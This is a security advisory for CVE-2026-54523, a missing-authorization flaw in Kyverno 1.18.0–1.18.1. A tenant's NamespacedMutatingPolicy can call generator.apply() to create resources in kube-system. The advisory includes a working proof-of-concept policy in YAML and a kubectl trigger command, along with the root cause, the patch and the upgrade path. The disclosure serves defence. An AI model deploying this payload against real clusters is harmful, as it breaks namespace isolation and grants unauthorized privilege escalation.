critical · 9.6CVE-2026-54523Aug 26, 2026

CVE-2026-54523: Kyverno NamespacedMutatingPolicy Missing Authorization in generator.apply()

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A tenant with permission to create a NamespacedMutatingPolicy in their own namespace can trick Kyverno's admission controller into writing resources into any namespace, including kube-system, using…

Packagegithub.com/kyverno/kyverno
Ecosystemgo
Affected>= 1.18.0, <= 1.18.1
Fixed in1.18.2
CVE-2026-54523: Kyverno NamespacedMutatingPolicy Missing Authorization in generator.apply()

The problem

Kyverno v1.18.0 and v1.18.1 expose the CEL generator library inside NamespacedMutatingPolicy match-condition expressions. The function generator.apply(namespace, resources) at pkg/cel/libs/context.go:177 accepts an arbitrary namespace string with no validation.

Because the nmpol CEL compiler unintentionally includes the generator library, a tenant can embed generator.apply("kube-system", [...]) in a matchConditions boolean expression. The admission controller evaluates that expression at request time and creates the specified resources using its own cluster-wide RBAC, completely bypassing namespace isolation.

Proof of concept

A working proof-of-concept for CVE-2026-54523 in github.com/kyverno/kyverno, with the exact payload below.

yaml
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns          # attacker only needs create here
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy"
          })
        }
      ])
---
# Trigger: create any ConfigMap in tenant-ns to fire the webhook
kubectl create configmap trigger --from-literal=x=1 -n tenant-ns
# Result: configmap/kube-system-config now exists in kube-system

The validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the CEL expression compiles. It never asserts that the namespace argument to generator.apply() matches the policy's own namespace. Other Kyverno code paths do enforce this boundary: pkg/engine/apicall/apicall.go:73-82 checks namespace segments on API calls, and pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies. GenerateResources had neither guard.

The patch (PR #16238, commits 0919553 and 5164bcd) adds an equivalent namespace-boundary check directly inside generator.apply() so that a namespaced policy cannot supply a target namespace different from its own. The kyverno/sdk companion fix (commit 6573937) enforces the same guard at the SDK layer.

CWE-862 (Missing Authorization).

The fix

Upgrade to Kyverno v1.18.2. The fix is in PR #16238 (commits 0919553c and 5164bcde): generator.apply() now rejects any target namespace that does not match the policy's own namespace, bringing it in line with the guards already present on apiCall and configmap loaders.

No workaround exists in v1.18.0 or v1.18.1 other than removing create permission on namespacedmutatingpolicies.policies.kyverno.io from non-admin users.

Reported by 0xVijay.

References: [1][2][3][4][5][6]

Related research